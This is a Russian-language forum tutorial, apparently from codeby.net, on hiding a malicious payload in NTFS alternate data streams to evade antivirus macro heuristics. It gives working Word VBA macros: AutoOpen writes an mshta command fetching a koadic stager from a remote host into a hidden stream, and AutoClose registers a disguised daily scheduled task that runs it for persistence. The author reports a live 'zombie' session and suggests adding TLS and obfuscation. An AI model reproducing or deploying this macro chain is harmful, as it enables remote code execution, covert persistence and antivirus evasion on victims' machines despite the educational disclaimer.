Альтернативные потоки NTFS (практикум)

Альтернативные потоки NTFS (практикум)

@webware

Добрый день, дорогое сообщество.

Я давно не писал годные статьи, все по причине загруженности на работе. Но вот решил порадовать вас и выполнить обещание.

В свое время я писал статью Альтернативные потоки данных NTFS и их применение в pentest. про альтернативные потоки. И вот пришло время рассмотреть практическую сторону применения.


Кто не знает что такое Альтернативный поток - иди читать статью дружок, ну а те кто уже в теме велком:


Не для кого не секрет что во многих антивирусных программах присутствует дополнительные средства анализа макросов офиса. Зачастую все действия макросов подвергаются дополнительной эвристической обработке и могут быть задетекчены различными методами.



В своем тесте мы будем использовать фреймворк koadic (zerosum0x0/koadic)


Готовим stager:

наш stager готов и мы приступаем к созданию нашего документа:

Открываем макросы word и пишем код следующего вида:

Sub AutoOpen()
Dim exe As String

Shell ("powershell.exe -nop -w hidden Set-Content -Path C:\Users\User\Documents\Doc2.docx -Stream Aop.ps1 -Value 'mshta http://10.10.1.244:9999/ptYkb'")



End Sub

Sub AutoClose()
Dim exe As String

Shell ("powershell.exe -nop -w hidden $action=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-nop -w hidden C:\Users\User\Documents\Doc2.docx:Aop.ps1'; $trigger=New-ScheduledTaskTrigger -Daily -At 6:20pm; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'LostFound' -Description 'Test' ")

End Sub

Я не буду приводить пример с использованием %Path а так же с проверкой текущей даты и выставление скедулера на конкретное время. (дорогой читатель сам догадается как это сделать)

Расскажу только что мы делаем:

В первой части нашего макроса мы на стадии открытия документа создаем альтернативный стрим под названием Aop.ps1 причем открываем его в самом документе (хотя это и не главное - можно куда угодно запихать) и кладем туда стринговое значение на load нашего stager.

Ну а во второй части на стадии закрытия данного документа, мы создаем в планировщике задач, таску которая вызовет load нашего stager из альтернативного стрима в определенное время, в данном случае 6-20pm localtime.


Для хорошего эффекта нам конечно же стоит использовать TLS ну и обфускацию ни кто не отменял (статьи по этой теме были по моему даже на форуме).


Наша таска создалась:

Ну а теперь наливаем кофе и ждем....


Бинго:

Проверяем статус командой zombie:

Ну и конечно для нашего спокойствия проверим АВ:

Как же прекрасно что я защищен!


P.S. Что и зачем мы сделали - мы авойднули детект на стадии доп эвристики в макро защитах АВ программ. Как я и писал раньше использование альтернативных стримов - это просто дополнительный уровень триксов для сокрытия.


P.S2. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.

Источник codeby.net

Report Page